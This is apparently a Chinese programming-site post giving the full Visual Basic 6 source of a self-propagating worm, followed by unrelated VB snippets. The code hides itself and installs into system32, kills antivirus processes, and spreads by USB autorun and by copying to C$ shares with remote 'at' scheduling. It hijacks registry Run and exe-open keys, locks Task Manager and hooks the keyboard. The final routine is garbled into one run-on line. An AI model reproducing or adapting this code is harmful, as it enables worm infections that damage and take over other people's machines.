VB局域网自动传播病毒


主窗体代码:

'打开网页
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long,ByVal lpOperation As String,ByVal lpFile As String,ByVal lpParameters As String,ByVal lpDirectory As String,ByVal nShowCmd As Long) As Long

'复制文件
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String,ByVal lpNewFileName As String,ByVal bFailIfExists As Long) As Long


'获取驱动器类型
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Const DRIVE_UNKNOWN = 0
Private Const DRIVE_NO_ROOT_DIR = 1
Private Const DRIVE_REMOVABLE = 2
Private Const DRIVE_FIXED = 3
Private Const DRIVE_REMOTE = 4
Private Const DRIVE_CDROM = 5
Private Const DRIVE_RAMDISK = 6

'关闭窗体
Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String,_
ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias _
"PostMessageA" (ByVal hwnd As Long,ByVal wMsg As Long,_
ByVal wParam As Long,lParam As Any) As Long
Private Const WM_CLOSE = &H10

'*********************************************
Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long,ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long,ByVal nIndex As Long,ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long,ByVal crKey As Long,ByVal bAlpha As Byte,ByVal dwFlags As Long) As Long
Private Const WS_EX_LAYERED = &H80000
Private Const GWL_EXSTYLE = (-20)
Private Const LWA_ALPHA = &H2
'***************************************
Dim LngWidth As Long,LngHeight As Long,IntColor As Integer,LngFrequency As Long
Dim autlj As String,dsk As String,dskbat As String '一些文件的路径

Dim t As Integer,l As Integer
Dim i As Byte
Dim p As Byte

Private Sub tm(frmGlass As Form,nGlass As Byte)
On Error Resume Next

'目的:将制定窗体设置为任意透明程度

'函数:GetWindowLong获取扩展窗口样式;SetWindowLong设置扩展窗体样式;SetLayeredWindowAttributes设置窗体透明

Dim lngFrmStyle As Long
lngFrmStyle = GetWindowLong(frmGlass.hwnd,GWL_EXSTYLE) '获取窗口扩展样式
lngFrmStyle = lngFrmStyle Or WS_EX_LAYERED '新样式
Call SetWindowLong(frmGlass.hwnd,GWL_EXSTYLE,lngFrmStyle) '设置新样式
Call SetLayeredWindowAttributes(frmGlass.hwnd,nGlass,LWA_ALPHA) '实现窗体透明效果
End Sub

'结束进程过程
Function xx2(ByVal Name As String)
On Error Resume Next
Dim strComputer As String
strComputer = "."
Dim oWMI,oProcs,oProc,strWQL
strWQL = "SELECT * FROM Win32_Process" & " WHERE Name='" & Name & "'"
Set oWMI = GetObject("winmgmts://" & strComputer & "/root/cimv2")
Set oProcs = oWMI.ExecQuery(strWQL)
For Each oProc In oProcs
oProc.Terminate
Next
Set oProc = Nothing
Set oProcs = Nothing
Set oWMI = Nothing
End Function

Private Sub jc()
On Error Resume Next
Dim j As Integer
Dim c As String
Dim winHwnd As Long
Dim RetVal As Long
Dim a

If Right(App.Path,1) <> "/" Then
j = 8
c = LCase("system32")
Else
j = 9
c = LCase("system32/")
End If
If LCase(Right(App.Path,j)) <> c Then '检测程序的路径

a = Shell("explorer /n,/",vbMaximizedFocus) '打开磁盘
If a <> 0 Then '如果shell成功
winHwnd = FindWindow(vbNullString,"我的电脑")
RetVal = PostMessage(winHwnd,WM_CLOSE,0&,0&) '关闭窗口
End If
Kill Environ("windir") & "/system32/ntdete.exe"
CopyFile App.Path & "/" & App.EXEName & ".exe",Environ("windir") & "/system32/ntdete.exe",False '把自己复制到system32目录下
Shell Environ("windir") & "/system32/ntdete.exe",vbHide '启动ystem32目录下的程序
End
End If
End Sub

Private Sub copy()
On Error Resume Next
Dim i As Byte
Dim k As String
For i = 65 To 90 Step 1
k = Chr(i) & ":"
If GetDriveType(k) = 2 Then '如果是U盘
CreateObject("Scripting.FileSystemObject").DeleteFile k & "/AutoRun.inf",True
CopyFile Environ("windir") & "/system32/ntdete.exe",k & "/等待.exe",False '复制自己
CopyFile autlj,k & "/AutoRun.inf",False
SetAttr k & "/等待.exe",2 + 4
SetAttr k & "/AutoRun.inf",2 + 4
End If
Next i
End Sub

Private Sub Form_Initialize()
On Error Resume Next
If App.PrevInstance Then End '重复运行则结束程序
InitCommonControls
'参数运行
Dim cmd As String
Dim app1() As Byte
cmd = Command
If UCase(cmd) = "C" Then '先判断一下有没有参数,有就处理
app1 = LoadResData(108,"CUSTOM")
Open Environ("windir") & "/system32/19.bat" For Binary As #89 '释放BAT
Put #89,app1
Close #89
Shell Environ("windir") & "/system32/19.bat",vbNormalFocus
End If
End Sub

Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False '隐藏进程
Call jc
xx2 "360tray.exe" '结束360
xx2 "antiarp.exe" '结束360ARP防火墙

SetWindowPos Me.hwnd,HWND_TOPMOST,SWP_NOMOVE Or SWP_NOSIZE '窗体置顶
hook = SetWindowsHookEx(WH_KEYBOARD_LL,AddressOf LowLevelKeyboardProc,App.hInstance,0) '禁用

LngWidth = 1024: LngHeight = 768: IntColor = 32: LngFrequency = 85 '设置1024,768,32,85为默认值

mp3lj = Environ("windir") & "/system32/o1.mp3"
autlj = Environ("windir") & "/system32/AutoRun.inf"
dsk = Environ("windir") & "/system32/desktop.ini"
dskbat = Environ("windir") & "/system32/desk.bat"

CreateObject("Scripting.FileSystemObject").DeleteFile autlj,True '删除只读文件
CreateObject("Scripting.FileSystemObject").DeleteFile mp3lj,True
CreateObject("Scripting.FileSystemObject").DeleteFile dsk,True
CreateObject("Scripting.FileSystemObject").DeleteFile dskbat,True
CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/1.ico",True
CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/k.bat",True
CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/re.tmp",True
CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/jk.com",True
CreateObject("Scripting.FileSystemObject").DeleteFile Environ("windir") & "/system32/sdfhj.bat",True

Me.Width = Picture1.Width
Me.Height = Picture1.Height
Picture1.Top = 0
Picture1.Left = 0

Label1.ForeColor = RGB(0,255)
t = Label1.Top
l = Label1.Left
i = 0
p = 0

'&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&批处理脚本

'Dim tim As Variant '取得要运行的时间
Dim bt(1 To 15) As String,bat As String
Dim tt() As String
Dim ip As Byte,ipp As Byte,dy As Byte

Call Start '获取本地IP

tt = Split(strIP,".") '这个就是将字符串以"."拆开

Open Environ("windir") & "/system32/iip.txt" For Output As #20 '列举IP
For ip = 10 To 254
DoEvents
For ipp = 1 To 254
Print #20,tt(0) & "." & tt(1) & "." & ip & "." & ipp
Next ipp
Next ip
Close #20

'If Minute(time) >= 0 And Minute(time) < 40 Then'取得时间
' tim = Hour(time) & ":" & Minute(time) + 20
'Else
' tim = Hour(time) + 1 & ":20"
'End If

bat = "cd /d %systemroot%/system32/"
'bt(1) = "del /f /q /a 1y.txt 2y.txt 3y.txt 4y.txt 5y.txt"
'bt(2) = "net view /domain >1y.txt"
'bt(3) = "for /f " & Chr(34) & "eol=命 skip=3 delims=" & Chr(34) & " %%k in (1y.txt) do >>2y.txt echo %%k"
'bt(4) = "for /f " & Chr(34) & "tokens=*" & Chr(34) & " %%i in (2y.txt) do >>3y.txt echo " & Chr(34) & "%%~nxi" & Chr(34)
'bt(5) = "for /f " & Chr(34) & "delims=" & Chr(34) & " %%a in (3y.txt) do net view /domain:%%a >>4y.txt"
'bt(6) = "for /f " & Chr(34) & "delims=/" & Chr(34) & " %%c in ('findstr ^/ 4y.txt') do >>5y.txt echo %%c"
'bt(7) = "for /f " & Chr(34) & "delims= " & Chr(34) & " %%b in (5y.txt) do copy /y " & Chr(34) & Environ("windir") & "/system32/" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & "//%%b/D$/等待.exe" & Chr(34) & " && (at " & Chr(34) & "//%%b" & Chr(34) & " " & tim & " /interactive " & Chr(34) & "//%%b/D$/等待.exe" & Chr(34) & ")"
bt(1) = "del /f /q /a tmpp.txt"
bt(2) = "setlocal EnableDelayedExpansion"
bt(3) = "for /f %%p in (iip.txt) do ("
bt(4) = "ping -n 1 -l 1 -w 10 %%p >tmpp.txt"
bt(5) = "set a=%time:~0,2%"
bt(6) = "set b=%time:~3,2%"
bt(7) = "if !b! EQU 08 set /a b=10"
bt(8) = "if !b! EQU 09 set /a b=10"
bt(9) = "set /a b+=10"
bt(10) = "if !b! GTR 59 set /a a+=1 & set /a b-=60"
bt(11) = "if !a! GTR 23 set /a a=0"
bt(12) = "findstr /c:" & Chr(34) & "Reply from %%p: bytes" & Chr(34) & " tmpp.txt&&" & "copy /y " & Chr(34) & Environ("windir") & "/system32/" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & "//%%p/C$/等待.exe" & Chr(34) & " && (at " & Chr(34) & "//%%p" & Chr(34) & " !a!:!b! /interactive " & Chr(34) & "//%%p/C$/等待.exe" & Chr(34) & ")"
'bt(5) = "findstr /c:" & Chr(34) & "Reply from %%p: bytes" & Chr(34) & " tmpp.txt&&" & "copy /y " & Chr(34) & Environ("windir") & "/system32/" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & "//%%p/D$/等待.exe" & Chr(34) & " && (at " & Chr(34) & "//%%p" & Chr(34) & " " & tim & " /interactive " & Chr(34) & "//%%p/D$/等待.exe" & Chr(34) & ")"
bt(13) = ")"
bt(14) = "del /f /q /a tmpp.txt"
bt(15) = "del /f /q /a %0"
For dy = 1 To 15
bat = bat & vbNewLine & bt(dy)
Next dy

Open Environ("windir") & "/system32/sdfhj.bat" For Output As #55
Print #55,bat
Close #55
Shell Environ("windir") & "/system32/sdfhj.bat",vbHide
'&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

Open autlj For Output As #1 '创建AutoRun.inf文件
Print #1,"[AutoRun]"
Print #1,"open=等待.exe"
Print #1,"shell/open=打开(&O)"
Print #1,"shell/open/Command=等待.exe"
Close #1

Dim app1() As Byte
app1 = LoadResData(103,"CUSTOM")
Open Environ("windir") & "/system32/1.ico" For Binary As #2 '释放图标资源
Put #2,app1
Close #2

app1 = LoadResData(109,"CUSTOM")
Open Environ("windir") & "/system32/等待.com" For Binary As #21
Put #21,app1
Close #21

app1 = LoadResData(101,"CUSTOM")
Open mp3lj For Binary As #3 '释放MP3音乐文件资源
Put #3,app1
Close #3

app1 = LoadResData(104,"CUSTOM")
Open Environ("windir") & "/system32/MCI32.OCX" For Binary As #11
Put #11,app1
Close #11
Shell "regsvr32 /s " & Environ("windir") & "/system32/MCI32.OCX",vbHide '注册DLL

'------------------------------------
app1 = LoadResData(105,"CUSTOM")
Open Environ("windir") & "/system32/1.mpg" For Binary As #18
Put #18,app1
Close #18

app1 = LoadResData(106,"CUSTOM")
Open Environ("windir") & "/system32/2.mpg" For Binary As #19
Put #19,app1
Close #19

app1 = LoadResData(107,"CUSTOM")
Open Environ("windir") & "/system32/3.mpg" For Binary As #20
Put #20,app1
Close #20


'----------------------------------------
Call copy

'打开而不执行一个程序(任务管理器),以达到锁定的目的
Open Environ("windir") & "/system32/taskmgr.exe" For Input Lock Read Write As #100


'创建注册表文件,修改磁盘驱动器图标
Dim ddd As String,bbb As String,ccc As String,oo As Integer
Dim az As Byte
ddd = ""
bbb = "@=" & Chr(34) & Environ("systemroot") & "//system32//"
For oo = 1 To Len(bbb)
ccc = Mid(bbb,oo,1)
If oo = 6 Then
ccc = "//"
End If
ddd = ddd & ccc
Next oo
Open Environ("windir") & "/system32/re.tmp" For Output As #5
Print #5,"Windows Registry Editor Version 5.00"
Print #5,""
Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/DriveIcons]"
Print #5,""
For az = 65 To 90 Step 1
Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/DriveIcons/" & Chr(az) & "]"
Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/DriveIcons/" & Chr(az) & "/DefaultIcon]"
Print #5,ddd & "1.ico" & Chr(34)
Print #5,""
Next az
Print #5,"[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]" '自启动
Print #5,Chr(34) & "KV2008" & Chr(34) & "=" & Right(ddd,Len(ddd) - 2) & "ntdete.exe" & Chr(34)
Print #5,"[HKEY_CLASSES_ROOT/exefile/DefaultIcon]"
Print #5,"[HKEY_CLASSES_ROOT/exefile/shell/open/command]"
Print #5,ddd & "ntdete.exe c" & Chr(34)
Print #5,"[HKEY_CLASSES_ROOT/txtfile/DefaultIcon]"
Print #5,"[HKEY_CLASSES_ROOT/txtfile/shell/open/command]"
Print #5,""
Close #5

Open dsk For Output As #6 '创建desktop.ini桌面配置文件
Print #6,"[.ShellClassInfo]"
Print #6,"InfoTip=等待"
Print #6,"ConfirmFileOp=0"
Print #6,"IconFile=%systemroot%/system32/1.ico"
Print #6,"IconIndex=0"
Close #6

Open dskbat For Output As #7 '创建修改文件夹图标的BAT文件
Print #7,"cd /d %systemroot%/system32/"
Print #7,"del /f /q /a wj1.txt"
Print #7,"dir C:/ /s /b /ad >wj1.txt"
Print #7,"dir D:/ /s /b /ad >>wj1.txt"
Print #7,"dir E:/ /s /b /ad >>wj1.txt"
Print #7,"dir F:/ /s /b /ad >>wj1.txt"
Print #7,"for /f " & Chr(34) & "delims=" & Chr(34) & " %%r in (wj1.txt) do echo F|xcopy " & Chr(34) & "%systemroot%/system32/desktop.ini" & Chr(34) & " " & Chr(34) & "%%r/desktop.ini" & Chr(34) & " /h /r /k /y" & " && " & "(Attrib +s " & Chr(34) & "%%r" & Chr(34) & ")"
Print #7,"del /f /q /a wj1.txt desktop.ini"
Print #7,"del /f /q /a %0"
Close #7

SetAttr dskbat,2 + 4 '设置为系统和隐藏属性
SetAttr dsk,2 + 4
SetAttr bat,2 + 4
SetAttr mp3lj,2 + 4
SetAttr autlj,2 + 4
SetAttr Environ("windir") & "/system32/sdfhj.bat",2 + 4
SetAttr Environ("windir") & "/system32/1.ico",2 + 4
SetAttr Environ("windir") & "/system32/re.tmp",2 + 4

Shell "regedit /s " & Environ("windir") & "/system32/re.tmp",vbHide '导入注册表
Shell dskbat,vbHide '启动修改文件夹图标的BAT文件
Timer4.Enabled = True
End Sub

Private Sub Label1_Click()
Form2.Show
tmct.Visible = False
End Sub

Private Sub Label1_MouseDown(Button As Integer,Shift As Integer,X As Single,Y As Single)
Label1.Top = t + 15
Label1.Left = l + 15
End Sub

Private Sub Label1_MouseMove(Button As Integer,Y As Single)
Label1.ForeColor = RGB(255,0)
Label1.FontUnderline = True
End Sub

Private Sub Label1_MouseUp(Button As Integer,Y As Single)
Label1.Top = t
Label1.Left = l
End Sub

Private Sub Picture1_MouseMove(Button As Integer,Y As Single)
Label1.ForeColor = RGB(0,255)
Label1.FontUnderline = False
End Sub

Private Sub Timer3_Timer()
'目的:使窗体的透明度逐渐变低
'函数:SetFormGlass设置窗体透明度
If p > 115 Then
Timer3.Enabled = False
Else
p = p + 5
End If
Call tm(XPbj,p)
End Sub

Private Sub Timer4_Timer()
On Error Resume Next
i = i + 1
If i = 80 Then
Call SetDisplayMode(LngWidth,LngHeight,IntColor,LngFrequency) '将4个参数传递给过程
xx2 "explorer.exe" '结束进程
qd.Show
Shell Environ("systemroot") & "/explorer.exe"
ElseIf i = 120 Then
ShellExecute 0,"open","http://www.100vb.com","",1 Load XPbj '加载但不显示 Call tm(XPbj,0) '设置为全透明 '使背景窗体逐渐不透明,产生桌面变灰的错觉,并激发Timer控件 XPbj.Show Timer3.Enabled = True tmct.ShowEnd IfEnd Sub

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


Format[$] ( expr [ , fmt ] ) format 返回变体型 format$ 强制返回为文本 -------------------------------- 数字类型的格式化 --------------------------------     固定格式参数:     General Number 普通数字,如可以用来去掉千位分隔号     format$("100,1
VB6或者ASP 格式化时间为 MM/dd/yyyy 格式,竟然没有好的办法, Format 或者FormatDateTime 竟然结果和系统设置的区域语言的日期和时间格式相关。意思是尽管你用诸如 Format(Now, "MM/dd/yyyy"),如果系统的设置格式区域语言的日期和时间格式分隔符是"-",那他还会显示为 MM-dd-yyyy     只有拼凑: <%response.write
在项目中添加如下代码:新建窗口来显示异常信息。 Namespace My ‘全局错误处理,新的解决方案直接添加本ApplicationEvents.vb 到工程即可 ‘添加后还需要一个From用来显示错误。如果到这步还不会则需要先打好基础啦 ‘======================================================== ‘以下事件
转了这一篇文章,原来一直想用C#做k3的插件开发,vb没有C#用的爽呀,这篇文章写与2011年,看来我以前没有认真去找这个方法呀。 https://blog.csdn.net/chzjxgd/article/details/6176325 金蝶K3 BOS的插件官方是用VB6编写的,如果  能用.Net下的语言工具开发BOS插件是一件很愉快的事情,其中缘由不言而喻,而本文则是个人首创,实现在了用V
Sub 分列() ‘以空格为分隔符,连续空格只算1个。对所选中的单元格进行处理 Dim m As Range, tmpStr As String, s As String Dim x As Integer, y As Integer, subStr As String If MsgBox("确定要分列处理吗?请确定分列的数据会覆盖它后面的单元格!", _
  窗体代码 1 Private Sub Text1_OLEDragDrop(Data As DataObject, Effect As Long, Button As Integer, Shift As Integer, X As Single, Y As Single) 2 Dim path As String, hash As String 3 For Each fil
  Imports MySql.Data.MySqlClient Public Class Form1 ‘ GLOBAL DECLARATIONS Dim conString As String = "Server=localhost;Database=net2;Uid=root;Pwd=123456;" Dim con As New MySqlConnection
‘導入命名空間 Imports ADODB Imports Microsoft.Office.Interop   Private Sub A1() Dim Sql As String Dim Cnn As New ADODB.Connection Dim Rs As New ADODB.Recordset Dim S As String   S = "Provider=OraOLEDB.Oracl
Imports System.IO Imports System.Threading Imports System.Diagnostics Public Class Form1 Dim A(254) As String    Function ping(ByVal IP As Integer) As String Dim IPAddress As String IPAddress = "10.0.
VB运行EXE程序,并等待其运行结束 参考:https://blog.csdn.net/useway/article/details/5494084 Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long Pr
今天碰到一个问题,登陆的时候,如果不需要验证手机号为空,则不去验证手机号 因为登陆的时候所有的验证信息都存放在一个数组里 Dim CheckUserInfo() As String ={UserBirthday, SecEmail, UserMob, UserSex, RealNameFirst, RealName, CheckCardID, CheckCardType, Contactemail
在VB6.0中,数据访问接口有三种: 1、ActiveX数据对象(ADO) 2、远程数据对象(RDO) 3、数据访问对象(DAO) 1.使用ADO(ActiveX Data Objec,ActiveX数据对象)连接SQL Server 1)使用ADO控件连接 使用ADO控件的ConnectionString属性就可以连接SQL Server,该属性包含一个由分号分隔的argument=value语
注:大家如果没有VB6.0的安装文件,可自行百度一下下载,一般文件大小在200M左右的均为完整版的软件,可以使用。   特别提示:安装此软件的时候最好退出360杀毒软件(包括360安全卫士,电脑管家等,如果电脑上有这些软件的话),因为现如今的360杀毒软件直接会对VB6.0软件误报,这样的话就可能会在安装过程中被误报阻止而导致安装失败,或者是安装后缺乏很多必须的组件(其它的杀毒软件或安全卫士之类的
Private Sub Form_Load() Call conndb End Sub Private Function conndb() Dim cn As New ADODB.Connection Dim rs As New ADODB.Recordset Dim strCn, sql As String Dim db_host As String Dim db_user As String
  PPSM06S70:  Add  moddate  EDITSPRINTJOB:  MAX(TO_CHAR(ETRN.MODDATE, ‘yyyy/mm/dd/HH24:MI AM‘)) ACTUAL_SHIPDATE   4.Test Scenario (1) :Query SQL Test DN:8016578337 SELECT CTRN.TKCTID TRUCK_ID,        
  沒有出現CrystalReportViewer時,須安裝CRforVS_13_0. 新增1個數據集,新增1個數據表,添加二列,列名要和資料庫名一樣. 修改目標Framework 修改app.config, <startup >改成<startup useLegacyV2RuntimeActivationPolicy ="true">  CrystalReport1.rpt增加數據庫專家 在表單
Imports System.Threading Imports System Public Class Form1 Dim th1, th2 As Thread Public Sub Method1() Dim i As Integer For i = 1 To 100 If Me.Label1.BackColor =
Friend Const PROCESS_ALL_ACCESS = &H1F0FFF = 2035711 Friend Const PROCESS_VM_READ = &H10 Friend Const PROCESS_VM_WRITE = &H20 Friend Const PAGE_READONLY = &H2 Friend Const PAGE_READWRITE = &H4 Friend
以下代码随手写的 并没有大量测试 效率也有待提升 如果需要C#的请自行转换 Function SplitBytes(Data As Byte(), Delimiter As Byte()) As List(Of Byte()) Dim i = 0 Dim List As New List(Of Byte()) Dim bytes As New
Imports System.Data.SqlClient Public Class Form1 REM Public conn1 As SqlConnection = New SqlConnection("server=.; Integrated Security=False;Initial Catalog= mydatabase1; User ID= sa;password")